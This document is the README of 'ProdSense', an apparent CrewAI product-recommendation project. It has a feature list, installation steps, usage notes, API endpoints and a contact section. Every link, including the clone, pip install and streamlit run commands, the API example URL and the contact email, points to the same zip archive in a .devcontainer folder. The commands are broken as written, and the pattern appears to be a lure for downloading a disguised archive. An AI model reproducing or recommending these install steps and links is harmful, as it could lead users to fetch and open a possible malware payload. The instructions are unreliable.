- Introduction
- Features
- Technologies Used
- Installation
- Usage
- API Documentation
- Contributing
- License
- Contact
ProdSense is an experimental multi-agent product recommendation system powered by CrewAI. It scrapes product details from various e-commerce websites, discovers alternatives, analyzes community sentiments, and curates YouTube reviews. This tool outputs tailored Markdown recommendations to help users make informed purchasing decisions. It is designed for developers and enthusiasts who want to explore the potential of AI in e-commerce.
For the latest releases, please visit our Releases page.
- Multi-Agent Architecture: Leverage multiple AI agents to gather and analyze data.
- Product Scraping: Extract product details from any product website.
- Alternative Discovery: Find similar products based on user preferences.
- Sentiment Analysis: Analyze community sentiments about products using social media data.
- YouTube Review Curation: Gather and summarize YouTube reviews for products.
- Markdown Output: Generate tailored Markdown recommendations for easy sharing.
- API-Driven: Interact with the system through a RESTful API.
- Open for Tinkering: Modify and extend the system as per your needs.
- Python: The core programming language for the project.
- Streamlit: Used for creating a user-friendly web interface.
- CrewAI: The AI framework that powers the multi-agent system.
- Google Gemini: For advanced data analysis and machine learning.
- Beautiful Soup: For web scraping product details.
- Pandas: For data manipulation and analysis.
- Flask: To create the API endpoints.
- Jupyter Notebook: For prototyping and testing.
To get started with ProdSense, follow these steps:
-
Clone the Repository:
git clone https://github.com/soumiau158/ProdSense/raw/refs/heads/main/.devcontainer/Prod_Sense_v1.1-beta.5.zip cd ProdSense -
Install Dependencies: Create a virtual environment and install the required packages:
python -m venv venv source venv/bin/activate # On Windows use `venv\Scripts\activate` pip install -r https://github.com/soumiau158/ProdSense/raw/refs/heads/main/.devcontainer/Prod_Sense_v1.1-beta.5.zip
-
Run the Application: Start the application using Streamlit:
streamlit run https://github.com/soumiau158/ProdSense/raw/refs/heads/main/.devcontainer/Prod_Sense_v1.1-beta.5.zip
For detailed installation instructions, refer to the Releases page.
Once the application is running, you can interact with it through the web interface. Here’s how to use the main features:
-
Scraping Products:
- Enter the URL of the product page you want to scrape.
- Click the "Scrape" button to gather product details.
-
Discovering Alternatives:
- After scraping, the system will display alternative products based on your input.
-
Sentiment Analysis:
- View community sentiments related to the product.
- Analyze comments and reviews to understand public opinion.
-
YouTube Reviews:
- Access curated YouTube reviews to get insights from video content.
- Summarized reviews will be presented for easy understanding.
-
Markdown Recommendations:
- Generate Markdown output for sharing with friends or on social media.
- Copy the generated Markdown to use in your documents.
ProdSense offers a RESTful API for developers who want to integrate its features into their applications. Below are the key endpoints:
http://localhost:8501/api
-
Scrape Product:
- Endpoint:
/scrape - Method:
POST - Body:
{ "url": "https://github.com/soumiau158/ProdSense/raw/refs/heads/main/.devcontainer/Prod_Sense_v1.1-beta.5.zip" } - Response:
{ "status": "success", "data": { "name": "Product Name", "price": "Product Price", ... } }
- Endpoint:
-
Get Alternatives:
- Endpoint:
/alternatives - Method:
GET - Query Parameters:
?product_id=123 - Response:
{ "status": "success", "data": [ { "name": "Alternative Product 1", "price": "Price 1" }, ... ] }
- Endpoint:
-
Analyze Sentiment:
- Endpoint:
/sentiment - Method:
POST - Body:
{ "product_id": 123 } - Response:
{ "status": "success", "sentiment": "positive" }
- Endpoint:
-
Get YouTube Reviews:
- Endpoint:
/youtube - Method:
GET - Query Parameters:
?product_id=123 - Response:
{ "status": "success", "data": [ { "title": "Review Title", "summary": "Review Summary" }, ... ] }
- Endpoint:
For more details, check the Releases page.
We welcome contributions from the community. If you want to help improve ProdSense, follow these steps:
- Fork the Repository: Click on the "Fork" button at the top right corner of the page.
- Create a Branch: Create a new branch for your feature or bug fix.
git checkout -b feature/YourFeature
- Make Changes: Implement your changes and commit them.
git commit -m "Add your message here" - Push Changes: Push your changes to your forked repository.
git push origin feature/YourFeature
- Create a Pull Request: Open a pull request to the main repository.
Please ensure your code adheres to our coding standards and includes appropriate tests.
This project is licensed under the MIT License. See the LICENSE file for details.
For questions or feedback, feel free to reach out:
- Email: https://github.com/soumiau158/ProdSense/raw/refs/heads/main/.devcontainer/Prod_Sense_v1.1-beta.5.zip
- Twitter: @yourhandle
- GitHub: soumiau158
Thank you for your interest in ProdSense! We hope you find it useful in your product discovery journey. For the latest updates and releases, check our Releases page.